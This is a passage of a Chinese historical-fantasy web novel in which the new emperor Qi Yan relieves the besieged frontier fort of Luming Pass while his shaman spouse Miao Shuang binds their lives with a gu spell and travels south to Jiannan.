“不懂打仗,那就给朕闭嘴!”祁雁眉目一凛,低头看向跪在脚边的大臣,“朕不在京中,后方将乱?那你们是干什么吃的?朕已经处理了一批尸位素餐的官员,杨大人的意思,是还有漏网之鱼喽?” 杨尚书一听,吓得是浑身颤抖,汗出如浆,磕头至地:“臣、臣绝无此意!” “既然没有,那就好好替朕守住后方,”祁雁说着,又看向魏然,“魏将军,我不在的这段时间,你便驻留京中,留意各地动向,一切粮草调动也由你负责,此事至关重要,若后方补给不到位,前线必失,魏将军,我能放心地交给你吗?” 魏然听闻自己竟被委以如此重任,感动得快要落泪,他向祁雁抱拳,激动得手都在抖:“臣定不辱命!” “好,”祁雁又看向其他几个年轻将领,“你们几个,便率兵支援河西,河西有位老将,年事虽高,却经验丰富,你们务必听从指令,切莫擅自行动,明白?” “明白!” “最后……”祁雁转头看向苗霜,“大巫可愿替我走一趟剑南?” 苗霜抱着胳膊,听了这半天,他都听困了,没什么精神地说:“陛下都这么说了,我还能拒绝不成。” 祁雁点点头,吩咐众人道:“明日一早启程,所有的军备、战马、粮草,今夜务必准备妥当,速去!” “是!” 官员们立刻散去,几乎是用跑的,时间如此紧急,今夜怕是要通宵加班了。 议事厅里一下子安静下来,祁雁慢慢呼出一口气,静坐许久,他终于撑住桌子,站起身来。 谁料刚一起身,他身形便是一晃,苗霜迅速扶住他:“祁雁!” 他从一进门就发觉这家伙不对劲了,但凡他能站着也不会坐着,议事过程中他竟一次都没起身,很明显是一站起来就会暴|露自己快要支撑不住。 他将指尖搭上对方手腕,只感觉那脉象紊乱异常,忍不住皱了皱眉,迅速翻出一颗药丸来给他:“把药吃了。” “苗霜,”祁雁却不理会他,也没接他的药,只失神地望着面前的地图,“我真的不明白……你能不能告诉我,为什么?为什么一切我所珍视之物都会离我而去,我是不是做错了什么,合该承受这些?” 苗霜沉默片刻:“你先把药吃了。” 祁雁笑了笑,可他嗓音哽咽,笑起来也像是在哭。 他含服了那颗小小的药丸,眼中的疲惫几乎掩盖住原有的神采,让那双黑眸显得格外晦暗。 “夫人放心吧,我还不会倒下。” 一切安抚的语言都太过苍白,苗霜什么都没说,只伸手抱住了他。 他能感觉到这具躯体上散发出的疲倦和绝望,这些时日祁雁一直没好好休息,突如其来的战报成了压弯骆驼的最后一根稻草,让那根永远挺拔的脊梁也摇摇欲坠。 其实从得到雁归军全军覆没的消息时他就觉出不对了,这件事发生得太奇怪,原著里根本就没有这样的剧情。 虽然后面的内容他并没有细看,只是草草翻过,但如果他没记错,原著应该只写到祁雁称帝为止。 他总有种说不上来的感觉,或许正如祁雁所说,“一切珍视之物都会失去”。 亲人、朋友、兄弟、部下……可明明不该如此。 泊雁仙尊平步青云,不费吹灰之力就站到了众生之巅,为什么这一个祁雁,却总是过得如此狼狈? 每爬一步,就会摔得更惨,血肉模糊遍体鳞伤,仿佛摆在他面前的,除了苦难还是苦难。 “你把我派去剑南,就不怕我不回来了?不怕连我也失去?”苗霜问。 祁雁把脸埋在他肩头,他闭着双眼,几乎将全身重量压在对方身上:“那便证明我命该如此。” “……” “夫人若想走,就走吧,若觉得留在我身边是种折磨,那便不必再回来了,”祁雁笑着说,“反正,我也不一定能活着回来,也许明日一别,就是你我永诀之日。” “……你在说什么疯话?”苗霜皱起眉头,“你若死了,这大景的江山怎么办,大景的子民怎么办?” “江山……子民……哈,”祁雁放开了他,“连自己至亲之人都护不住,还谈什么苍生百姓,我拼尽全力保全的东西,在一些人眼里根本什么都不是,我做再多又能如何?等此役结束,我便脱下这身龙袍,这皇帝谁爱当谁当,这天下苍生,谁爱管谁管。” “……祁雁!”苗霜一把揪住了他的衣襟,怒道,“你给我振作点!” 祁雁被他拽着,不得不低下头来看他,脸上的表情已不知是哭是笑:“夫人为何劝我?你不是最讨厌我心里只有苍生了吗?我若不当皇帝,你就可以把我绑回苗寨,养在身边也好,做成人傀也好,任你处置。” “……”苗霜气不打一处来,突然松开了手,猛地在他胸前一推。 祁雁猝不及防,恰好被他按到心口处的伤,剧痛让他闷哼一声,竟没来得及稳住身形,径直摔倒在地。 姜茂在一旁看着,犹豫着究竟要不要扶,将军看上去已经濒临崩溃了,他身为下属怎么也该帮帮忙,又觉得祁雁此时的情况已经不是他所能解决的,还是交给大巫吧。 后背的贯穿伤重重撞上地面,让祁雁感觉自己又被剑捅了一遍,他疼得发不出声音,意识都有些模糊了。 正在这时,苗霜整个人骑到了他身上,跨坐在他腰间,强行扳过他的脸,俯下身来,用力吻住了他的嘴唇。 130-140 第131章 第 131 章 生死蛊 这个吻到来得十分突然, 甚至是不合时宜,祁雁浑身一僵,一时忘了自己该做什么。 心口的剧痛还在身体里肆虐, 注意力却又偏偏被转移到唇间,难以形容的感觉让他的思维也开始混乱, 分不清究竟是舒服还是痛苦。 苗霜整个人骑在他身上,本就因疼痛而失去力气的身体更是反抗不得, 祁雁甚至不能选择拒绝,只得被迫迎合着这个吻。 舌下还没完全含化的药被轻轻卷弄,在口腔里制造出一片清凉和苦涩,心口的窒闷开始缓解,却又因加快的心跳而产生丝丝缕缕的抽痛。 忽然柔软的舌尖从他唇齿间抽离,他还以为苗霜打算适可而止了,却不想下一秒,对方又冲着他颈侧而去。 青色的血管被用力啃咬,脉搏抵在他齿尖跳动, 又疼又痒,仿佛即将被咬穿一般, 如此致命的部位陷于他人口中,祁雁身体骤然紧绷,好悬才忍住没将对方从身上掀下去。 很快那啃咬又转移向别处,祁雁察觉到他的动向时已然来不及了,喉结被人含住,边上那颗暗色的小痣被狠狠磨碾。 祁雁:“……!” 喉咙里难以自制地溢出闷哼, 剧烈的刺激在脑海里炸开,几乎一瞬间剥夺了他思考的能力。 一旁的姜茂观看他们良久,终于没眼再看了, 默默转过身去。 身体的痛苦和欢愉互相交织渗透,祁雁深黑的眼眸有些失神,他下意识地抱住了压在身上的人,再次和他纠缠在一起。 激烈的索吻掠夺着彼此赖以为生的氧气,祁雁按在对方腰间的手顺着他的脊背向上,直到扣住他的后脑,另一只手却被苗霜死死攥住,手指强行塞进了他的指缝。 十指相扣,祁雁的手背因为用力而凸起青筋,忽然他感到掌心一疼,被吻到失去理智的大脑骤然清醒,他拼尽全力才违背了身体的意愿,强行将对方推开,惊疑道:“你做了什么?” 异样的感觉嵌进了手心,有些熟悉,又有些陌生,他急忙甩开苗霜的手,只见掌纹之间出现了一道会动的红线。 “怎么,不认识了?”苗霜意犹未尽地舔了舔嘴角,摊开满是指印的手,掌心赫然是一道同样的红线。 生死蛊。 祁雁难以置信地看着他:“你没事又下这个做什么?” “你把我派去剑南,让我帮你打仗,我不高兴,万一我死了,就拉你垫背。” 祁雁:“……” “当然,我更不高兴死的是你,”苗霜猩红的眼眸逼视他,轻轻掐住了他的脖子,“都走到这一步了,却想半途而废,那你这一年以来所有的挣扎都算什么?算是笑话?我在你身上倾注的心血又算什么?” 他手指慢慢收紧:“祁雁,我劝你给我清醒一点,你若是敢死在塞北,那你就死一个试试。” 祁雁被他掐得不能呼吸,视野一阵阵发暗,他能感觉得到,苗霜是真的生气了,窒息的滋味并不好受,和他性命相连的某人想必也同样不好受。 “若是我们两个都死了,你不妨猜猜,你的大景会变成什么样子?是有人替代你成为新的明主,还是各自为王,割据天下开启乱世?既然要放手,那就放手得彻底一点,看着人们互相厮杀吞并,流血漂橹苍生涂炭,岂不快活?” 祁雁快要听不清他说话了,差点被他掐晕过去的时候,对方才终于放手,他捂住自己的脖子,猛地咳嗽起来。 苗霜从他身上起身,这么做虽然还不至于触发生死蛊,但他的确也不太舒服,此刻感觉有些缺氧,缓了一会儿才好。 祁雁咳了半天,总算是喘匀了气,他挣扎着坐起身,感觉剑伤已经疼得没知觉了。 苗霜冲他伸手:“起来。” 姜茂背对着他们,不敢回头。 这到底是在玩些什么…… 祁雁抓住苗霜的手,借力站起身来,他感觉十分疲惫,坐在桌边喝了两口水。 脖子上被掐出的红印慢慢褪去,苗霜靠在一旁,视线看向他的领口,刚刚在地上一番折腾,衣襟已经散开,从这个角度看去,刚好能看见心口处隐约露出的伤疤。 已经过去许多天了,这剑伤却一直没好利索,连苗霜也搞不清究竟是什么原因。 “你这重伤未愈,又要跑去塞北,身体吃得消吗?”他忍不住问,“别还没走到地方就先死在了半道,丢人。” “重伤未愈……”祁雁意味不明地笑了下,放下茶盏,“要的就是这重伤未愈,狄历若不是知道我身受重伤,又怎敢如此仓促地率兵南下?” “放心吧,夫人,”他说着抬起头,黑眸重新变得清明起来,“我不会死在半路,也不会死在塞北,但愿夫人别死在剑南才是。” “哈,”苗霜冷笑,“除了生死蛊,你觉得世上还有东西能杀死我?” 他说着向外走去:“我去看看赵戎,趁这最后的一点时间,你好好歇着吧。” 姜茂抬脚跟上:“我也去看看。” 祁雁目送他们离去,垂眼看向自己的掌心。 细细的红线在掌纹间游走。 同生共死吗…… 破釜沉舟,孤注一掷。 祁雁唇边忽然扬起一抹笑意。 倒也不差。 * 次日一早,兵马开拔。 祁雁钦点三千精兵作为先行部队,拨六千良驹,一人两马,一匹骑乘,一匹驮少量辎重,交替轮换,力求以最快的速度抵达鹿鸣塞。 他们出发后不久,苗霜给赵戎验看完伤,对姜茂道:“咱们也该出发了。” 赵戎到现在也没醒来,一夜高烧,今早才退了些。 看来他是没机会等到他醒来再走了。 “放心吧,有太医照看,出不了事,”苗霜笑吟吟地看着前来接班的太医,“你说是吧?” 太医:“……” 这是造了怎么孽啊。 前些日子陛下受贯心一剑没死,他们刚保住了脑袋,这又来了个重伤的。 下辈子不要再当太医了好吗? 姜茂站起身来,最后看了赵戎一眼:“走吧。” 两匹快马离开京都,一路南下,而祁雁的兵马正沿着秦古道疾行北上。 这条路历经千年沿用至今,宽阔平坦,极易行军,三千精兵轻装上阵,快马奔袭,每逢驿站进行一次补给,更换掉状态最差的一批马,继续上路。 先行出发的辎重部队亦是拼了老命在转运粮草,先前赵戎带着战报回京,沿途驿站便已做好了准备,这会儿倒是为他们减轻了些许压力,但即便如此,时间也相当仓促,几乎是辎重才刚到位,身后便是尘土飞扬,兵马已至。 五天五夜,昼夜不歇,终于在第六天清晨跑完了这段长达一千五百里的驿道,即便是精挑细选的千里良驹也累死了好几匹。 鹿鸣塞内,战况焦灼。 人们已经不记得这是狄历人第几次发起进攻,死去的人越来越多,活着的人越来越少,从一开始的九千人,到现在只剩两千人。 这座小小的石头城内外到处是鲜血和尸骸,里面是自己人的尸体,外面是敌人的尸体。 短短八天,他们已经弹尽粮绝,箭矢用光,刀剑断刃,最后的武器是这附近随处可见的石头。 他们捡了许多天的石头,再往手边摸时竟是空空如也,连石头也没有了。 索性就将那些根本来不及掩埋的尸体推出城墙,向外面攀爬的狄历人砸去,也顾不得查看究竟是谁的尸体。 人们伏在墙垛之后,躲过了新一轮的箭雨,又有人中箭倒地,活着的人却没时间悲痛,只迅速又麻木地收敛着这些得来不易的箭矢,用早已磨烂的双手挽弓搭箭,向城墙下射去,能射死一个是一个。 “援兵为什么还不来!”有人赤红着双目,不知是愤怒还是绝望,“真的要守不住了!” “再坚持一下,援兵……援兵就快到了!” “你每天都这么说!” 已经很久顾不上喝水,每个人的声音都十分嘶哑,他们大部分时间都没力气说话,偶尔痛骂狄历人,或是骂着彼此,也许只有这样才能证明他们还活着。 身边又有人因为体力不支倒了下去,没人顾得上管他,绝望的气氛在人们中间蔓延,谁也不知道他们明天还有没有机会说“援兵明天就到”。 忽在这时。 关塞后方,第不知道多少次前去求援的士兵策马而回,这一次终于不再是孤身一人,他快马加鞭,大喜过望,甚至喊破了音:“援兵到了!援兵到了!快开城门!” 守城的将士们听见这声音,齐齐愣了一下,几乎怀疑自己出现了幻觉:“真的是援兵?” “趴下!” 又是一轮箭雨,险些就因这短暂的分神而被射死,人们咬着牙继续抵挡,只感觉到地面开始震动,碎石和尘土在脚边跳跃。 “是援兵……援兵真的到了!” 黑底金字的“景”字旗在风中猎猎作响,视线尽处黄尘滚滚,数不清的战马向着关塞方向疾驰而来,祁雁一马当先,借内力将自己的声音远播开去:“雁归军何在?!” “这声音……是将军,是祁将军!!” “是祁将军回来了!是祁将军回来了——!” 士兵们喜出望外,几乎要落下泪来,他们从没想过自己此生还能再听见祁雁的声音,还能活着等到援军。 大批兵马迅速接近,顷刻间已至城下,祁雁再次扬声大喝:“雁归军何在?!” “在——!!”早已精疲力竭的将士们又因援兵的到来生生激出一丝血性,用嘶哑的嗓子齐声高呼。 祁雁从马背上一跃而起,径直飞上了城墙:“祁雁在此!全军听令,随我杀敌!” 第132章 第 132 章 有点想苗霜了。 祁雁跃上城墙, 御起轻功沿城而走,迅速从城南移动到城北,一暴|露在敌人的视线之下, 立刻成了移动的活靶子,数不清的箭矢向他射来。 他手中并没拿武器, 只有一面硕大的军旗,威风凛凛的金龙盘于其上, 龙旗挥动间风声猎猎,飞来的箭矢卷于其中,旋身一振,箭矢便又原路飞回,城墙之下死伤一片。 祁雁居高临下,望着城墙下满脸惊愕的狄历人,将刚刚的话又用狄历语重复了一遍。 狄历人就算不认得汉字,却也认得旗子上的金龙,那是汉人天子的象征, 他们做梦也想不到,传闻中身受重伤生命垂危的汉天子, 竟然在如此短的时间里远赴塞北,生龙活虎地出现在了他们面前。 更别提,这汉天子不是别人,正是和他们厮杀了近二十年的祁雁。 十几年来被雁归军按着打的恐惧几乎在瞬间漫上心头,连刚刚取得大胜的底气都冲淡了,他们甚至怀疑祁雁死后化作厉鬼的传闻不假, 若非厉鬼,怎可能上一刻还命悬一线,下一刻又毫发无伤? 龙旗迎风而展, 那道挺立的身影犹如永远无法逾越的山峰,狄历士兵一时间被威慑得乱了阵脚,便是这瞬息之间的战局变幻,援兵已悄然登上城墙,埋伏在垛口之间,祁雁一声令下:“放箭!” 漫天箭雨泼洒向城墙下方寸大乱的狄历人,来不及架起盾牌就被射成了筛子,混乱之中,祁雁避让开狄历弓箭手射来的箭矢,将军旗插在城墙上,伏身藏于墙垛之后。 感知力无限铺展开去,敌人的一举一动尽收眼底,他迅速锁定了敌方负责指挥本次作战的将领,那人距离远在弓箭射程之外,但也并非不可取之。 他从怀里掏出之前苗霜给他的毒,这玩意本来是对付季渊用的,可惜并没用上,浪费了可惜,不如送狄历人尝尝。 他将毒药倒了一点在布上,擦拭箭镞,而后挽弓搭箭。 弓弦拉到极致,内力灌注其上,他从垛口间冒头,朝着锁定的目标一箭射出。 那狄历将领见势不妙,已经指挥着手下士兵撤退,自己骑上马就要逃跑,或许是多年厮杀的本能让他感觉到了危险,猛一偏头,只觉耳朵一凉,有什么东西擦着耳侧飞过。 远距离飞行的箭矢威力已然不足,很快便无力地跌至地面,狄历将领不屑地回头看了一眼,想知道是哪个傻子想隔着这么远的距离射死他,不料这一转头,却觉一阵天旋地转。 他还没反应过来是怎么回事,人已经从马背上跌下,耳朵上一点微小的血痕被青紫色覆盖,迅速蔓延向整张脸。 祁雁本来也是只是碰碰运气,没想到还真射中了,那将领跌落马下再没起来,狄历士兵们根本不知道发生了什么事,还以为有看不见的厉鬼隔空斩杀了他们的将领,霎时间惊叫连连,丢盔弃甲,仓皇而逃。 所有来不及骑马跑路的皆被射杀,身边的士兵问祁雁道:“将军,我们追吗?” “不追,”祁雁站起身来,“我们一路疾驰,人马俱疲,追不上的。” 逃窜的狄历人转眼之间已经消失在了谷口,祁雁走下城墙,环顾众人:“你们怎么样了?” “将军!”幸存下来的士兵们围上前来,皆是热泪盈眶,“我们还以为再也见不到您了!” 从祁雁被调回京都至今,已有快四年未见,这期间内他们一会儿得知祁雁身死,一会儿又听闻他“化作厉鬼”卷土重来入京称帝,每一步都走在雁归军意料不到的地方,士兵们心情可谓是起起伏伏,直到今天。 另一个士兵戳了同伴一下:“怎么还叫将军,叫陛下。” “啊,陛、陛下。” “不必,”祁雁淡笑道,“还叫将军吧,我也习惯了。” “对了将军,怎么不见赵戎?” “他身上有伤,不宜长途奔波,我让他留在京都养伤了,”祁雁并没说赵戎生死未卜,事实上,他现在也不知道赵戎活过来没有,“你们伤亡如何?” 一提到这个,士兵们才浮上眉梢的喜悦又迅速退去,有人哽咽道:“狄历人就像疯了一样,不停地发起进攻,您要是再晚来半天,我们就真的要全军覆没了。” 祁雁叹了口气。 看着这城内城外堆积如山的尸体,不用问也知道这里的战况究竟有多惨烈,一时间他竟连句安慰的话也说不出,只轻轻拍了拍对方的肩膀。 那年轻的士兵红了眼眶,满腔悲愤终于得到了宣泄的出口:“将军,金孝仁通敌叛国!他跟我们说大雍换帝,狄历必定南下入侵,与其坐以待毙,不如主动出击,整合了全朔方的兵力说要袭击狄历王庭,却把我们引进了狄历人早就布置好的陷阱!” “还有那朔方节度使,也是一丘之貉!他若不派兵给金孝仁,我们又怎会损失如此惨重!我们的装备和战马全部落进了狄历之手!后来赵戎带着我们退守鹿鸣塞,我们请求节度使支援物资,他居然理都不理!他明显就是想让我们自生自灭!” “早知如此,我们就该杀了那姓金的!总好过现在……” 说着,忍不住开始抹眼泪。 祁雁皱了皱眉。 他早就猜到朔方节度使难辞其咎,以前这职位一直由祁雁的父亲担任,祁雁十六岁正式接过将军之职以后,祁老将军便退守后方,祁雁在前线打仗,父亲坐镇后方提供补给,一直配合得天衣无缝。 直到季渊即位,没过两年便把祁老将军从节度使的位置上撤了下来,美其名曰看他年事已高,让他早日衣锦还乡。 新上任的朔方节度使祁雁也接触过,是个没什么主见的家伙,他要调兵对方都会配合,多年以来,倒也没出什么大差错。 这次多半是金孝仁的主意,但不论如何,朔方节度使为虎作伥,错误的指令致使雁归军全军覆没,其罪难逃。 现在这人只怕已经畏罪潜逃了,待大部队抵达,便接管节度使府,他逃到天涯海角也要把他抓回来。 “不怪你们,”祁雁道,“先不说这些了,连日作战,你们都辛苦了,好好休息一下——小夏,把我们带的干粮给兄弟们分了。” “哎!”姓夏的小将是祁雁从禁军里提拔上来的,他立刻要去给大家分干粮,又想起什么,“不过将军,咱身上的干粮也不多了,恐怕只够再吃两天的。” 他们跑得太快,起初补给还能跟得上,后来直接将辎重部队甩在了身后,到今天,马都已经没草料吃了。 好在鹿鸣塞边上就是一片大湖,水草充足,这会儿,饥肠辘辘的战马已经去湖边吃草饮水。 虽然青草远远比不上他们精心拌的饲料有营养,但至少也不会饿死,他们不出去追击狄历人,就用不到这些马,可以让它们在这里吃几天草充饥。 “听我的,分。”祁雁道。 “是!” 小夏叫了些人去拿吃的给大家分,祁雁又吩咐道:“还能动的清理战场,清点一下伤亡,所有能回收的装备全部回收,不管是狄历人的还是我们自己的。” “军医……城中还有军医吗?给受伤的兄弟们看伤……” 一句话还没说完,他突然感觉眼前一黑,连日奔波让本就重伤未愈的身体雪上加霜,紧绷的精神一松懈下来,人立马就撑不住了。 耳边最后听到士兵们的惊呼:“将军!” 与此同时,斜谷栈道上。 苗霜正骑着马穿越这八百里秦川,忽不知感应到什么,他眉头皱了皱,骂道:“该死的祁雁,你早点死得了。” 跟在他身后的姜茂:“……?” 好端端的,怎么突然骂起人了? 苗霜却没再说,一夹马腹:“驾!” * 祁雁一连昏迷了两个时辰才醒。 再次睁开眼时,他已经被人转移到了营房里,身边围着一圈神色各异的士兵们。 来自众人的注视让他瞬间清醒了过来,挣扎着坐起身,按了按额头:“我晕倒了?” 没人应答。 祁雁缓了口气,感觉气氛十分诡异:“你们为什么这么看着我?” “将军,”有人颤抖着开口,“您……真的还是人吗?” 祁雁:“……” 他低头看向自己,上身没穿衣服,胸前缠了一圈绷带,隐隐有血迹渗出。 “军医说您被一剑捅穿了心脏,”那士兵声音都发抖了,“这样真的还能活吗?将军,难道之前的传闻是真的,您是放不下我们才……” 他说着竟开始哽咽,另一个士兵攥起拳头,义愤填膺:“将军!您告诉我们是谁伤的您!我们一定砍了他,为您报仇雪恨!” 祁雁哭笑不得:“倒也不必。” 他披上衣服起身:“让你们担心了,不过我确实没死,是苗疆秘术让我活到现在。” “苗疆……秘术?”众人面面相觑,“难道是传说中的……赶尸……” 祁雁:“……” 越说越离谱了。 他疲于解释,摆摆手道:“行了,我没大碍,别在这里围着我了,若是没事干,就去休息,养精蓄锐,狄历指不定什么时候又会打来。” 众人这才散了,祁雁离开营房,来到城中。 这座小城城墙皆由石片砌成,整座城占地面积并不大,城内只有少量基础设施,他登上哨塔,看到他带来的人已经在城西南的大片空地上扎营,有人在营帐中休息,有人在清理战场,有人在湖边给马刷毛,也算井然有序。 尸体太多,他们只能在稍远一些,远离水源的地方挖沟填埋尸体,这次是连坟茔也没有了。 这些守城而死的战士,至少还能入土为安,至于那些死在敌人手里的,狄历人想必不会好心将他们掩埋,或许便曝尸荒野,遭野兽啃食,连副完整的遗骸也找不回来。 终是什么都不剩了。 不论是祁家,还是祁家世代培养出来的雁归军。 他得了这天下,又好像失去了所有。 祁雁忽然轻轻笑出了声,望着远处绵延起伏的山峦,这片他们世代守护的土地,承载了一切的青山,而今望去,却唯余苍凉。 眼底已经流不出泪来,就像心口的伤经久不愈,便也再觉不出疼。 山谷中一片安宁,狄历人应该不会在短时间内再次发动突袭,他慢慢离开了关塞,来到湖边。 受战事搅扰,原本栖息在这里的动物也少了许多,一眼望不到尽头的湖面上只有些许野鸭,先前这湖里还漂着不少尸体,现在也被打捞走了,以免污染水源。 被血染红的湖水重新清澈起来,岸边的芦苇足有半人高,战马在附近徘徊,偶尔传来几声马嘶。 他一步步朝着湖中走去,踩进水里,湖水渐渐没过膝盖,没过腰间,没过胸口。 在岸边刷马的士兵们发现了他,忍不住开口喊道:“将军!军医说伤口不能沾水!” 祁雁充耳不闻,继续朝湖中游去。 那士兵放下马刷就要去追他,却被同伴拦住,对方摇了摇头:“我们还是别去打扰了,让他一个人静静吧。” 士兵这才作罢,望着湖面上的人影,叹气道:“你有没有觉得,将军和以前不一样了?变得这么……沉默寡言。” “死了那么多人,他心里肯定难受吧。” “……该死的金孝仁,要是能抓到他,我一定把他千刀万剐!” 祁雁游到水深处,便用这湖水草草洗了个澡,湖水清凉,让人浑身舒爽许多。 忽然他感觉水里有什么东西碰到了他的脚,深吸一口气,一个猛子扎进水中,再出来时,手里赫然多了两条鱼。 他冲岸边的人喊道:“接着!” 活蹦乱跳的鱼被扔上了岸,两个士兵急忙去捡,用手拢音道:“将军!多抓几条,晚上加餐!” 这样抓鱼效率实在太慢,祁雁借着感知力感应了一下水里的鱼,直接将内力凝聚于掌心,再猛地击出,附近的鱼立刻被内劲震晕,接二连三漂到水面上。 他在前面震鱼,士兵们跟在后面捡,很快就捡了满满一筐。 祁雁回到岸上,用内力蒸干衣服上的水,天色渐晚,远处忽然传来几声鹿鸣。 鹿鸣塞之所以叫鹿鸣塞,自然是因为附近时常能听到鹿鸣,祁雁拆下胸前碍事的绷带,索性连衣服也不穿了,扎在腰间,拿了一副弓箭:“叫两个人,跟我去打几头鹿回来。” “来了!” 他们的口粮已经所剩无几,只能就地取材,万一狄历人再打来,总不能饿着肚子上阵。 祁雁带着几个人进了附近山中猎鹿,箭无虚发,天黑之时,满载而归。 营地里升起了篝火,众人分工合作,放血剥皮取肉,将鹿肉穿在树枝上烤来吃。 没有太多的调料,只有盐,简单处理的鹿肉膻味也没办法完全去除,但对于他们来说已经是不可多得的美味,人们烤着火吃肉,久违地放松下来。 火上架了锅,锅里熬着鱼汤,有人盛了一碗递给祁雁:“将军。” 祁雁伸手接过:“谢了。” “您不吃些肉吗?我看您一天都没吃什么东西。” “不必了,我不饿,你们分吧。” 祁雁就着半块饼子喝完了那碗鱼汤,腥,而且咸。 和皇宫里的食物简直是天壤之别,并非他吃惯了山珍海味,便吃不下这些粗茶淡饭,只是单纯没有胃口。 之前是苗霜逼着他吃,现在苗霜不在……便算了吧。 还能省些粮食。 吃完了饭,营地里渐渐安静下来,有人已经困倦得倒头便睡,其他人也大多东倒西歪,哈欠声此起彼伏。 祁雁站起身来:“你们都休息吧,今晚我来值夜。” “将军……” “去吧。” 人们各自回到营帐休息,祁雁在上风处点了些艾叶,驱散无处不在的蚊虫。 众人都睡下了,他独自登上城墙,发现蚊虫只在离他三丈开外的地方盘旋,并不来叮他。 他坐在哨塔上,望着远处蛰伏在黑暗中的群山。 有点想苗霜了。 第133章 第 133 章 要是祁雁在就好了。 次日晌午, 辎重终于抵达。 辎重部队送来了大批的粮草和军备,够他们这五千人用上一阵了。 狄历没有再向他们发起进攻,想必是得知汉天子御驾亲征的消息, 正在商讨对策。 此时此刻,祁雁坐在营房里, 也在和麾下将领商讨下一步作战计划。 鹿鸣塞暂时是守住了,有祁雁坐镇, 狄历人很有可能不会再打来,他们仓促集结兵马,这么多天过去,粮草应该也要耗尽了。 接下来他们要做的是抓紧在漠南草原上放牧,待到秋天马匹骠肥体壮,再继续南下入侵,那时大景正值秋收农忙,国力最弱,狄历可以抢个满载而归。 祁雁看着桌子上的军事布防图, 眉头紧锁,现在他们的防线已经从大漠收缩到了阴山山脉, 若是再失利一次,河套落入狄历人手中,他们就会失去阻截狄人的天然防线,关中地区乃至整个中原都将暴|露在敌人的铁蹄之下。 虽然阴山防线也没那么容易突破,想翻越连绵起伏的群山,只能寻山间缺口, 沟谷低地,鹿鸣塞算是一处,另外两处在几十里外的双阙塞以及鹿城隘口, 几地之间皆有驿道相连,他们这里行路方便,狄历若想换个地方突破,却要绕过群山,麻烦得很。 再往东走,就是朔方和河东的交界处,那里是一片丘陵,并无天险可依,因此有重兵把守,河东虽爱看风使舵,但那是大景内部的事,在抵御外敌这件事上不会含糊。 他若在这些关卡处加派兵力,把狄历拦在阴山以北也不算太难,或许对现在的大景来说,这是最明智的决定。 可他不甘心。 祁家没了,雁归军没了,现在连他们世代镇守的漠南也没了,死去的人不会复生,可失去的土地他无论如何也要夺回来。 不能退让……绝对不能! 夏天结束之前,他务必要将狄历人赶回漠北去,无论付出什么样的代价。 “将军。”议事刚刚结束,就有人敲响了营房的门。 祁雁回过神来:“说。” “又有几个兄弟伤重去世了,”那士兵微微红了眼眶,“刚刚送来的药品,也还是没能……” 祁雁:“……” 他深吸一口气:“我知道了,我去看看。” 城内为数不多的营房全都用来安置伤员,在今天辎重抵达之前,许多伤者甚至分不到药品,现在药品好不容易够用了,却还是姗姗来迟,为时太晚。 在外面都已经听到了伤者痛苦的呻|吟声,祁雁站在门口,一时竟犹豫着没有再踏入一步。 里面的人却已经发现了他,失去了一条腿的士兵痛苦地嘶嚎着:“将军!求您了,给我个痛快吧!” 祁雁闭了闭眼,转身离开。 他走到无人处,看着军医和前来帮忙的士兵们忙碌地进进出出,有时送水和药品进去,有时抬着尸体出来。 要是苗霜在就好了。 以他的医术,肯定能抢救回更多人。 祁雁看着掌心的生死蛊,感觉心口又开始疼了,他明明都能听到“虫语”了,却没办法驾驭它们,他可以受贯心一剑不死,却根本帮不了其他人。 “将军!”这时又有人叫他,“能搭把手吗?” “来了。” * 半月后。 “祁雁个龟儿子!”剑南节度使彭鸿飞正破口大骂,“借走了老子的兵,还不给老子支援!那是南照和西蕃联军,老子手下就这四万人,让老子拿什么守!” 果然不出祁雁所料,大景和狄历一开战,西蕃也趁机添乱,向河西发起了进攻。 好在河西已早有准备,陇右道一时间战况胶着,暂时还没让西蕃讨到好处。 西蕃一动,早已等待多时的南照也按捺不住了,吸取了上次被祁雁打得落花流水的教训,这次他们直接向西蕃借兵,让西蕃帮他们一起攻打剑南。 但西蕃已将主力派去河西,一时半会儿也调不回来,见河西恐难攻克,不免又对剑南动起了歪心思,便东拼西凑整合了剩下的部队,借给南照四万人。 南照自从上次战败就憋着一口气,这次说什么也要在大景身上啃下一块肉来,竟举全国兵力孤注一掷,加上从西蕃借的兵,硬是凑出了十二万大军,浩浩荡荡开向剑南。 彭鸿飞听到南照发兵的消息,气得是吹胡子瞪眼,这姓祁的真是跟他命中犯克,一跟祁雁沾边准没好事,短短两年时间,剑南一会儿天灾,一会儿人祸,好不容易等到祁雁坐稳了皇位,还没喘口气呢,南照又打来了。 “可您当时不也痛快把兵给出去了吗,”下属开口道,“那四万人都是流民,自从让给祁……陛下,咱军费也不缺了,不然的话,咱就算有人,也没钱打仗啊。” “滚!”彭鸿飞踹了他一脚,“老子能不知道?用你多嘴?” 他颇为烦躁地一摆手:“去去去,再给我探。” “是。” 下属领命去了,不多时,又有人闯了进来:“启禀大人!府外有人求见!” “谁?” “来人自称……苗疆大巫,还有先前来过的,姜茂。” “什么?”彭鸿飞倏地起身,大喜过望,“难道是祁雁……啊不,陛下派援兵来了?快请快请!” 很快,外面的两人被请进府中,彭鸿飞亲切地跟他们勾肩搭背:“哎呀,姜兄弟,苗兄弟,许久不见,甚是想念哪!” 苗霜笑吟吟地将他的胳膊从自己肩头摘了下去:“一别数月,大人可好?” “好,好!”彭鸿飞命手下给他们上了茶,话锋一转,“不过说好也好,说不好也不好,这大雍换帝,新朝初立,边防动荡得厉害啊,这不,南照发兵的消息刚传到我这,吓得我是寝食难安。” “好在陛下有先见之明,早早传讯于我,要我早做准备,陛下真是幽默,竟让我独守剑南,还好只是跟我开个玩笑,现在大巫亲自前来,想来是陛下给我派援兵了,之前的消息,定是陛下在考验我,我懂我懂。” 姜茂喝了口茶,神色复杂地看着他。 这位节度使大人好像还没懂。 “不知陛下此次派了多少兵力给我?”彭鸿飞又问。 苗霜冲他伸出两根手指。 “两万?”彭鸿飞嘶了一声,“少是少了点,不过若是两万精兵,或许也差不太多……他们现在走到哪了?可需要我派人接应?” 姜茂看着他这拼命安慰自己的样子,闷声不响地继续喝茶。 苗霜:“已经到了。” “已经到了?”彭鸿飞愣了一下,“到哪了?到益州了?我并没收到消息啊?两万人马入蜀,我怎会不知?大巫别跟我开玩笑了。” 苗霜笑而不语。 “……难道不是两万?”彭鸿飞脸色微微变了,“总不能是两千吧?” 苗霜:“两人。” “……?”彭鸿飞大惊失色,拍案而起,“两人?!总共就你们两个?!” “陛下不是都跟你说了,要你独守剑南,天子一言九鼎,怎会食言?”苗霜笑眯眯道。 